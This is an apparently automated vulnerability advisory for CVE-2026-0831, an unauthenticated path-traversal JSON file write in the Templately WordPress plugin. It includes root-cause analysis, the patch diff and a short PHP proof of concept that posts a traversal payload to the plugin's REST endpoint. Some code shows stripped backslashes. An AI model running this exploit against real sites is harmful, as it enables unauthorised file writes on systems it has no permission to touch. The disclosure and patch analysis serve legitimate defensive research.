Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0831: Templately <= 3.4.8 – Unauthenticated Limited Arbitrary JSON File Write (templately)

CVE ID CVE-2026-0831
Plugin templately
Severity Medium (CVSS 5.3)
CWE 863
Vulnerable Version 3.4.8
Patched Version 3.4.9
Disclosed January 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0831:
The vulnerability is an unauthenticated arbitrary JSON file write in the Templately WordPress plugin versions <=3.4.8. The flaw resides in the AI content generation functionality, specifically within the `save_template_to_file()` method, allowing attackers to write `.ai.json` files to arbitrary locations within the WordPress uploads directory. With a CVSS score of 5.3, this represents a medium-severity integrity violation.

The root cause is inadequate input validation in the `save_template_to_file()` function within `/templately/includes/Core/Importer/Utils/AIUtils.php`. User-controlled parameters `session_id`, `content_id`, and `ai_page_ids` are directly incorporated into file path construction without sanitization. The function builds paths using concatenation: `$page_dir = $tmp_dir . $found_key . DIRECTORY_SEPARATOR;` and `$file_path = $page_dir . $content_id . '.ai.json';`. The `$found_key` value originates from the `$ai_page_ids` array, which contains user-supplied path components. No validation prevents directory traversal sequences or ensures paths remain within intended boundaries.

Exploitation occurs via the `/wp-json/templately/v1/ai-content/ai-update` REST API endpoint. Attackers send POST requests containing malicious `session_id`, `content_id`, and `ai_page_ids` parameters. The `ai_page_ids` array can include path traversal sequences like `../../../` to escape the intended `templately/tmp/` subdirectory. For example, setting `ai_page_ids` to `["../../../malicious"]` and `content_id` to `payload` results in writing `payload.ai.json` to `wp-content/uploads/malicious/`. No authentication or API key validation is required in vulnerable versions.

The patch introduces multiple security layers. First, it adds API key validation in `AIContent::permission_check()` requiring the `X-Templately-Apikey` header to match a stored user key. Second, it implements `AIUtils::sanitize_path_component()` which rejects values containing `..`, `/`, or “. Third, `AIUtils::validate_file_path()` ensures the final path resides within the WordPress uploads directory using `realpath()` comparison. Fourth, the `save_template_to_file()` function now sanitizes `session_id`, `content_id`, and splits `found_key` into components for individual sanitization. These changes collectively prevent path traversal and restrict file writes to the intended directory structure.

Successful exploitation allows attackers to write arbitrary JSON files anywhere within the WordPress uploads directory. While limited to `.ai.json` extension, this can facilitate various attacks including storing malicious configuration, poisoning cache files, or preparing for other vulnerabilities. The write capability could be combined with other plugin or theme features that execute or include files from the uploads directory, potentially leading to remote code execution. The attack requires no authentication, making it accessible to any external actor.

Differential between vulnerable and patched code

Code Diff
--- a/templately/assets/js/admin.asset.php
+++ b/templately/assets/js/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f05b515bdd9ba821d1b3');
+<?php return array('dependencies' => array(), 'version' => 'fc481390f6f1a103e42b');
--- a/templately/assets/js/dashboard-style.asset.php
+++ b/templately/assets/js/dashboard-style.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '2c24a27a9ee3346c15c4');
+<?php return array('dependencies' => array(), 'version' => '4aa4ec9c911776e096d4');
--- a/templately/assets/js/notices.asset.php
+++ b/templately/assets/js/notices.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'c9a252314c85f179e21b');
+<?php return array('dependencies' => array(), 'version' => 'a2546b1b9047e583cec4');
--- a/templately/assets/js/templately.asset.php
+++ b/templately/assets/js/templately.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill', 'wp-url'), 'version' => 'dca02c2eaf413c6210d6');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill', 'wp-url'), 'version' => 'a4e571d2893613fdcb1d');
--- a/templately/includes/API/AIContent.php
+++ b/templately/includes/API/AIContent.php
@@ -16,6 +16,7 @@
 use WP_Error;
 use TemplatelyCoreImporterUtilsUtils;
 use TemplatelyCoreImporterUtilsAIUtils;
+use TemplatelyCoreImporterUtilsSignatureVerifier;
 use TemplatelyCoreImporterParsersWXR_Parser;

 class AIContent extends API {
@@ -42,10 +43,30 @@

 		$_route = $request->get_route();
 		if ('/templately/v1/ai-content/ai-update' === $_route || '/templately/v1/ai-content/ai-update-preview' === $_route) {
+			Helper::log( [
+				'headers' => $request->get_headers(),
+				'body'    => $request->get_params(),
+			], 'ai_update_request' );
+
 			if (empty($process_id)) {
 				return $this->error('invalid_id', __('Invalid ID.', 'templately'), 'calculate_credit', 400);
 			}

+			$header_api_key = sanitize_text_field($request->get_header('x_templately_apikey'));
+			if (empty($header_api_key)) {
+				$header_api_key = sanitize_text_field($request->get_header('X-Templately-Apikey'));
+			}
+
+			// Validate API key from header against database
+			if (empty($header_api_key)) {
+				return $this->error('missing_api_key', __('Missing API key in header.', 'templately'), 'ai-content/permission', 403);
+			}
+
+			$is_valid_key = $this->validate_api_key_in_db($header_api_key);
+			if (!$is_valid_key) {
+				return $this->error('invalid_api_key', __('Invalid API key provided in header.', 'templately'), 'ai-content/permission', 403);
+			}
+
 			// Check AI process data using API key-based storage
 			$ai_process_data = AIUtils::get_ai_process_data();
 			if (is_array($ai_process_data) && !empty($ai_process_data[$process_id])) {
@@ -59,8 +80,7 @@
 		// if ('/templately/v1/ai-content/attachments' === $_route) {
 		// 	return true;
 		// }
-
-		return parent::permission_check($request);
+		return parent::_permission_check($request);
 	}


@@ -185,6 +205,15 @@
 		$ai_page_ids         = $this->get_param('ai_page_ids', [], null);
 		$content_ids         = $this->get_param('content_ids', [], null);
 		$session_id          = $this->get_param('session_id');                  // Add session_id parameter
+
+		// Security: Sanitize session_id if provided
+		if (!empty($session_id)) {
+			$session_id = AIUtils::sanitize_path_component($session_id, 'session_id');
+			if (is_wp_error($session_id)) {
+				return $session_id;
+			}
+		}
+
 		$preview_pages       = $this->get_param('preview_pages', [], null);
 		$image_replace       = $this->get_param('imageReplace', [], null);
 		$platform            = $this->get_param('platform');
@@ -1040,4 +1069,43 @@
 		// Return the response as-is
 		return $data;
 	}
+
+	/**
+	 * Validate API key against database
+	 * Checks if the provided API key exists for any user on the current site
+	 * Handles both single-site and multisite WordPress installations
+	 *
+	 * @param string $api_key The API key to validate
+	 * @return bool True if valid, false otherwise
+	 */
+	private function validate_api_key_in_db($api_key) {
+		global $wpdb;
+
+		$api_key = sanitize_text_field($api_key);
+
+		if (empty($api_key)) {
+			return false;
+		}
+
+		$meta_key = '_templately_api_key';
+
+		// Handle multisite: key will have site prefix in multisite
+		if (is_multisite()) {
+			// get_user_option() uses the format: {$wpdb->base_prefix}{$blog_id}_{$meta_key}
+			// For current blog, we need to check with the current blog prefix
+			$blog_id = get_current_blog_id();
+			$meta_key = $wpdb->get_blog_prefix($blog_id) . $meta_key;
+		}
+
+		// Query to check if this API key exists for any user
+		$query = $wpdb->prepare(
+			"SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1",
+			$meta_key,
+			$api_key
+		);
+
+		$user_id = $wpdb->get_var($query);
+
+		return !empty($user_id);
+	}
 }
--- a/templately/includes/API/Items.php
+++ b/templately/includes/API/Items.php
@@ -519,7 +519,7 @@
 		];
 		$response = $this->http()->query(
 			'featuredItems',
-			'data{ id, name, slug, price, type, thumbnail }',
+			'data{ id, name, slug, price, type, thumbnail, badges }',
 			$funcArgs
 		)->post();

@@ -549,7 +549,7 @@
 		];
 		$response = $this->http()->query(
 			'trendingItems',
-			'data{ id, name, slug, price, type, thumbnail }',
+			'data{ id, name, slug, price, type, thumbnail, badges }',
 			$funcArgs
 		)->post();

@@ -590,12 +590,12 @@
 		$funcArgs = [
 			'id'       => $item_id,
 			'type'     => $type,
-			'limit'    => 3,           // Limit to 3 related items
+			'limit'    => 4,           // Limit to 3 related items
 		];

 		$response = $this->http()->query(
 			'relatedItems',
-			'id, name, slug, price, type, thumbnail',
+			'id, name, slug, price, type, thumbnail, badges',
 			$funcArgs
 		)->post();

--- a/templately/includes/Core/Importer/FullSiteImport.php
+++ b/templately/includes/Core/Importer/FullSiteImport.php
@@ -125,6 +125,12 @@

 		if(!empty($data['session_id'])){
 			$session_id = $data['session_id'];
+			// Security: Sanitize session_id from user input
+			$session_id = AIUtils::sanitize_path_component($data['session_id'], 'session_id');
+			if (is_wp_error($session_id)) {
+				wp_send_json_error(['message' => $session_id->get_error_message()]);
+				return;
+			}
 			$session_data = Utils::get_session_data($session_id);
 			$data = array_merge($session_data, $data);
 		}
@@ -173,8 +179,12 @@

 		$upload_dir  = wp_upload_dir();

-		// passed in post
-		$session_id  = $data['session_id'];
+		// Security: Sanitize session_id from user input
+		$session_id = AIUtils::sanitize_path_component($data['session_id'], 'session_id');
+		if (is_wp_error($session_id)) {
+			wp_send_json_error(['message' => $session_id->get_error_message()]);
+			return;
+		}

 		$tmp_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR;
 		$prv_dir = trailingslashit($upload_dir['basedir']) . 'templately' . DIRECTORY_SEPARATOR . 'preview' . DIRECTORY_SEPARATOR;
@@ -465,7 +475,12 @@
 		try {
 			// TODO: Need to check if user is connected or not
 			if(!empty($_GET['session_id'])){
-				$this->session_id = sanitize_text_field($_GET['session_id']);
+				// Security: Sanitize session_id from user input
+				$session_id = AIUtils::sanitize_path_component(sanitize_text_field($_GET['session_id']), 'session_id');
+				if (is_wp_error($session_id)) {
+					$this->throw($session_id->get_error_message());
+				}
+				$this->session_id = $session_id;
 			}
 			else {
 				$this->throw(__('Invalid Session ID.', 'templately'));
@@ -728,6 +743,12 @@
 			'download_key' => $this->download_key,
 		]);

+		// Security: Validate file path is within WordPress upload directory before writing
+		$validation = AIUtils::validate_file_path($this->filePath);
+		if (is_wp_error($validation)) {
+			$this->throw($validation->get_error_message());
+		}
+
 		wp_mkdir_p(dirname($this->filePath));

 		if (file_put_contents($this->filePath, $response['body'])) { // phpcs:ignore
@@ -946,7 +967,8 @@
 					'name' => 'ai-content',
 					'message' => __('Missing Credit Cost', 'templately'),
 				],
-				null // No specific template ID for this context
+				null, // No specific template ID for this context
+				30
 			);
 		}

--- a/templately/includes/Core/Importer/Runners/Finalizer.php
+++ b/templately/includes/Core/Importer/Runners/Finalizer.php
@@ -168,7 +168,7 @@
 				$processed_pages = get_option("templately_ai_processed_pages", []);
 				$updated_ids = $processed_pages[$this->process_id] ?? [];
 				$ai_paths = $this->generateAiFilePaths($old_template_id);
-				if(!empty($this->process_id) && is_numeric($this->process_id) && $this->is_ai_content($old_template_id) && !file_exists($ai_paths['ai_file_path'])){
+				if($this->is_ai_content($old_template_id) && !file_exists($ai_paths['ai_file_path'])){
 					// Use the static timeout-aware wait handler from AIUtils
 					AIUtils::handle_sse_wait_with_timeout(
 						$this->session_id,
--- a/templately/includes/Core/Importer/Utils/AIUtils.php
+++ b/templately/includes/Core/Importer/Utils/AIUtils.php
@@ -12,6 +12,111 @@
 class AIUtils {

 	/**
+	 * Sanitize path component for security - prevents path traversal attacks
+	 *
+	 * @param mixed $value The value to sanitize (string or numeric)
+	 * @param string $type Type for error message ('session_id', 'content_id', 'path_key')
+	 * @return string|WP_Error Sanitized value or error if invalid
+	 */
+	public static function sanitize_path_component($value, $type = 'path_component') {
+		// Convert numeric values to string (content IDs like 136 are valid)
+		if (is_numeric($value)) {
+			$value = (string) $value;
+		}
+
+		// Check for empty or non-string values
+		if (empty($value) || !is_string($value)) {
+			return Helper::error(
+				'invalid_' . $type,
+				sprintf(__('Invalid %s: empty or not a valid value.', 'templately'), $type),
+				'sanitize_path_component',
+				400
+			);
+		}
+
+		// Check for path traversal attempts BEFORE sanitizing
+		if (strpos($value, '..') !== false ||
+			strpos($value, '/') !== false ||
+			strpos($value, '\') !== false) {
+			return Helper::error(
+				'invalid_' . $type,
+				sprintf(__('Invalid %s: contains path separators.', 'templately'), $type),
+				'sanitize_path_component',
+				400
+			);
+		}
+
+		// Apply WordPress sanitize_file_name for additional safety
+		return sanitize_file_name($value);
+	}
+
+	/**
+	 * Validate that a file path is within WordPress upload directory
+	 * Prevents path traversal attacks
+	 *
+	 * @param string $file_path The file path to validate
+	 * @return bool|WP_Error True if valid, WP_Error otherwise
+	 */
+	public static function validate_file_path($file_path) {
+		// Get WordPress upload directory
+		$upload_dir = wp_upload_dir();
+		$real_upload_base = realpath($upload_dir['basedir']);
+
+		if ($real_upload_base === false) {
+			return Helper::error(
+				'invalid_upload_dir',
+				__('WordPress upload directory is not accessible.', 'templately'),
+				'validate_file_path',
+				500
+			);
+		}
+
+		// For file path, check the directory if file doesn't exist yet
+		$dir_to_check = dirname($file_path);
+
+		// Create directory if it doesn't exist (for pre-write validation)
+		if (!file_exists($dir_to_check)) {
+			wp_mkdir_p($dir_to_check);
+		}
+
+		$real_path = realpath($dir_to_check);
+		if ($real_path === false) {
+			return Helper::error(
+				'path_not_exists',
+				__('File path does not exist or is not accessible.', 'templately'),
+				'validate_file_path',
+				400
+			);
+		}
+
+		// Normalize paths with trailing directory separator
+		$normalized_upload_base = rtrim($real_upload_base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
+		$normalized_path = rtrim($real_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
+
+		// Check if path starts with upload directory (PHP 8+ style with polyfill)
+		// This prevents partial matches like /var/www/uploads-backup matching /var/www/uploads
+		$is_subdirectory = false;
+		if (function_exists('str_starts_with')) {
+			// PHP 8+
+			$is_subdirectory = str_starts_with($normalized_path, $normalized_upload_base);
+		} else {
+			// PHP 7.4 polyfill
+			$is_subdirectory = substr($normalized_path, 0, strlen($normalized_upload_base)) === $normalized_upload_base;
+		}
+
+		if (!$is_subdirectory) {
+			return Helper::error(
+				'path_outside_uploads',
+				__('Invalid file path: path is outside WordPress upload directory.', 'templately'),
+				'validate_file_path',
+				400
+			);
+		}
+
+		return true;
+	}
+
+	/**
 	 * Handle SSE message wait with timeout exit condition
 	 * Static utility function for reusable timeout handling across different import contexts
 	 *
@@ -24,7 +129,7 @@
 	 * @param string|null $old_template_id Optional template ID for local site polling
 	 * @return bool True if should continue processing, false if should exit
 	 */
-	public static function handle_sse_wait_with_timeout($session_id, $progress_id, $updated_ids, $ai_page_ids, $sse_message_callback, $additional_sse_data = [], $old_template_id = null) {
+	public static function handle_sse_wait_with_timeout($session_id, $progress_id, $updated_ids, $ai_page_ids, $sse_message_callback, $additional_sse_data = [], $old_template_id = null, $timeout_seconds = 420) {
 		$total_pages = count($ai_page_ids);
 		$updated_pages = count($updated_ids['pages'] ?? []);

@@ -47,8 +152,8 @@
 			return true;
 		}

-		// Check if time difference is less than 5 minutes (timeout condition)
-		if (empty($last_time) || ($current_time - $last_time) < 7 * MINUTE_IN_SECONDS) {
+		// Check if time difference is less than timeout(default 7 minutes) (timeout condition)
+		if (empty($last_time) || ($current_time - $last_time) < $timeout_seconds) {
 			// For local sites with template ID, attempt polling before waiting
 			if ($is_local_site && !empty($old_template_id)) {
 				$process_id = $session_data['process_id'] ?? null;
@@ -412,6 +517,18 @@
 	 * @return array|WP_Error Result array with status and data
 	 */
 	public static function save_template_to_file($process_id, $session_id, $content_id, $template, $ai_page_ids, $is_skipped = false) {
+		// Security: Sanitize session_id
+		$session_id = self::sanitize_path_component($session_id, 'session_id');
+		if (is_wp_error($session_id)) {
+			return $session_id;
+		}
+
+		// Security: Sanitize content_id
+		$content_id = self::sanitize_path_component($content_id, 'content_id');
+		if (is_wp_error($content_id)) {
+			return $content_id;
+		}
+
 		$upload_dir = wp_upload_dir();

 		// Always save to tmp directory for AI content workflow
@@ -442,9 +559,28 @@
 			return Helper::error('invalid_content_id', __('Content ID not found in AI page IDs.', 'templately'), 'save_template_to_file', 400);
 		}

+		// Security: Sanitize found_key parts (e.g., "templates/page" -> sanitize each part)
+		$key_parts = explode('/', $found_key);
+		$sanitized_parts = [];
+		foreach ($key_parts as $part) {
+			$sanitized = self::sanitize_path_component($part, 'path_key');
+			if (is_wp_error($sanitized)) {
+				return $sanitized;
+			}
+			$sanitized_parts[] = $sanitized;
+		}
+		$found_key = implode(DIRECTORY_SEPARATOR, $sanitized_parts);
+
 		// Create directory and file path
 		$page_dir = $tmp_dir . $found_key . DIRECTORY_SEPARATOR;
 		$file_path = $page_dir . $content_id . '.ai.json';
+
+		// Security: Validate path is within expected directory before writing
+		$validation = self::validate_file_path($file_path);
+		if (is_wp_error($validation)) {
+			return $validation;
+		}
+
 		wp_mkdir_p($page_dir);

 		// Save the file
--- a/templately/includes/Core/Importer/Utils/SignatureVerifier.php
+++ b/templately/includes/Core/Importer/Utils/SignatureVerifier.php
@@ -0,0 +1,134 @@
+<?php
+namespace TemplatelyCoreImporterUtils;
+
+use TemplatelyUtilsHelper;
+
+/**
+ * Class SignatureVerifier
+ *
+ * Verifies HMAC-SHA256 signatures from Templately backend callbacks
+ * to prevent arbitrary file write vulnerabilities.
+ *
+ * @package TemplatelyCoreImporterUtils
+ */
+class SignatureVerifier {
+
+    /**
+     * Verify callback signature from Templately backend.
+     *
+     * @param array  $payload   Request payload data
+     * @param string $signature Signature from X-Templately-Signature header
+     * @param int    $timestamp Timestamp from X-Templately-Timestamp header
+     * @param string $api_key   User's API key (used as secret)
+     * @param int    $tolerance Time tolerance in seconds (default: 300 = 5 minutes)
+     * @return bool|WP_Error True if valid, WP_Error otherwise
+     */
+    public static function verify($payload, $signature, $timestamp, $api_key, $tolerance = 300) {
+        if (empty($api_key)) {
+            return Helper::error(
+                'missing_api_key',
+                __('API key not provided for signature verification', 'templately'),
+                'verify_signature',
+                401
+            );
+        }
+
+        // Validate inputs
+        if (empty($signature) || empty($timestamp) || !is_numeric($timestamp)) {
+            return Helper::error(
+                'invalid_signature_headers',
+                __('Invalid signature or timestamp headers', 'templately'),
+                'verify_signature',
+                401
+            );
+        }
+
+        // Check timestamp to prevent replay attacks
+        if (!self::is_timestamp_valid((int) $timestamp, $tolerance)) {
+            return Helper::error(
+                'timestamp_expired',
+                __('Callback timestamp expired or invalid', 'templately'),
+                'verify_signature',
+                401
+            );
+        }
+
+        // Generate expected signature using API key
+        $expected_signature = self::generate_signature($payload, (int) $timestamp, $api_key);
+
+        // Use hash_equals to prevent timing attacks
+        if (!hash_equals($expected_signature, $signature)) {
+            return Helper::error(
+                'invalid_signature',
+                __('Invalid signature', 'templately'),
+                'verify_signature',
+                401
+            );
+        }
+
+        return true;
+    }
+
+    /**
+     * Check if timestamp is within acceptable tolerance.
+     *
+     * @param int $timestamp Unix timestamp to check
+     * @param int $tolerance Tolerance in seconds
+     * @return bool True if timestamp is valid
+     */
+    private static function is_timestamp_valid($timestamp, $tolerance) {
+        $current_time = time();
+        $time_difference = abs($current_time - $timestamp);
+
+        return $time_difference <= $tolerance;
+    }
+
+    /**
+     * Generate HMAC-SHA256 signature for payload.
+     *
+     * @param array  $payload   Request payload
+     * @param int    $timestamp Unix timestamp
+     * @param string $api_key   User's API key (used as secret)
+     * @return string HMAC signature
+     */
+    private static function generate_signature($payload, $timestamp, $api_key) {
+        $canonical_string = self::create_canonical_string($payload, $timestamp);
+        return hash_hmac('sha256', $canonical_string, $api_key);
+    }
+
+    /**
+     * Create canonical string from payload and timestamp.
+     *
+     * Only includes security-critical fields in signature to avoid
+     * performance issues with large template content.
+     *
+     * @param array $payload Request payload
+     * @param int   $timestamp Unix timestamp
+     * @return string Canonical string
+     */
+    private static function create_canonical_string($payload, $timestamp) {
+        // Extract only security-critical fields for signature
+        // Exclude large content fields like 'template' and 'error'
+        // Also exclude 'isSkipped' as requested
+        $signature_fields = [
+            'process_id'  => isset($payload['process_id']) ? $payload['process_id'] : null,
+            'content_id'  => isset($payload['content_id']) ? $payload['content_id'] : null,
+            'template_id' => isset($payload['template_id']) ? $payload['template_id'] : null,
+            'type'        => isset($payload['type']) ? $payload['type'] : null,
+        ];
+
+        // Remove null values
+        $signature_fields = array_filter($signature_fields, function ($value) {
+            return $value !== null;
+        });
+
+        // Sort keys for consistency
+        ksort($signature_fields);
+
+        // JSON encode with consistent flags
+        $payload_json = wp_json_encode($signature_fields, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
+
+        // Combine timestamp and payload
+        return $timestamp . '.' . $payload_json;
+    }
+}
--- a/templately/includes/Plugin.php
+++ b/templately/includes/Plugin.php
@@ -41,7 +41,7 @@
 use TemplatelyCorePlatformElementor;

 final class Plugin extends Base {
-    public $version = '3.4.8';
+    public $version = '3.4.9';

 	public $admin;
 	public $settings;
--- a/templately/includes/Utils/Helper.php
+++ b/templately/includes/Utils/Helper.php
@@ -97,6 +97,15 @@
 	 */
 	public static function get_api_url($endpoint): string {
 		$base_url = self::is_dev_api() ? 'https://app.templately.dev' : 'https://app.templately.com';
+
+		/**
+		 * Filter the base URL for development API
+		 *
+		 * @since 3.5.0
+		 * @param string $base_url The default base URL
+		 */
+		$base_url = apply_filters('templately_dev_api_base_url', $base_url);
+
 		return "{$base_url}/api/{$endpoint}";
 	}

--- a/templately/includes/Utils/Http.php
+++ b/templately/includes/Utils/Http.php
@@ -44,6 +44,15 @@
         if ( !$is_live_api && Helper::is_dev_api() ) {
             $this->url = 'https://app.templately.dev/api/plugin';
         }
+
+        /**
+         * Filter the API endpoint URL
+         *
+         * @since 3.5.0
+         * @param string $url The endpoint URL
+         */
+        $this->url = apply_filters('templately_dev_api_endpoint_url', $this->url);
+
         return $this->url;
     }

--- a/templately/templately.php
+++ b/templately/templately.php
@@ -5,7 +5,7 @@
  * Description: The Best Templates Cloud for Elementor & Gutenberg. Get access to stunning templates, WorkSpace, Cloud Library & many more.
  * Plugin URI: https://templately.com
  * Author: Templately
- * Version: 3.4.8
+ * Version: 3.4.9
  * Author URI: https://templately.com/
  * Text Domain: templately
  * Domain Path: /languages

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0831 - Templately <= 3.4.8 - Unauthenticated Limited Arbitrary JSON File Write
<?php

$target_url = 'http://vulnerable-site.com/wp-json/templately/v1/ai-content/ai-update';

// Malicious payload to write JSON file outside intended directory
$payload = [
    'process_id' => '123',
    'session_id' => 'malicious_session',
    'content_id' => 'exploit',
    'ai_page_ids' => ['../../../malicious'],  // Path traversal to escape templately/tmp/
    'template' => ['type' => 'page', 'content' => '{"malicious":"payload"}'],
    'type' => 'page'
];

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Accept: application/json'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

if ($http_code == 200) {
    echo "[+] File write likely successful. Check: wp-content/uploads/malicious/exploit.ai.jsonn";
} else {
    echo "[-] Exploit may have failed or site is patched.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School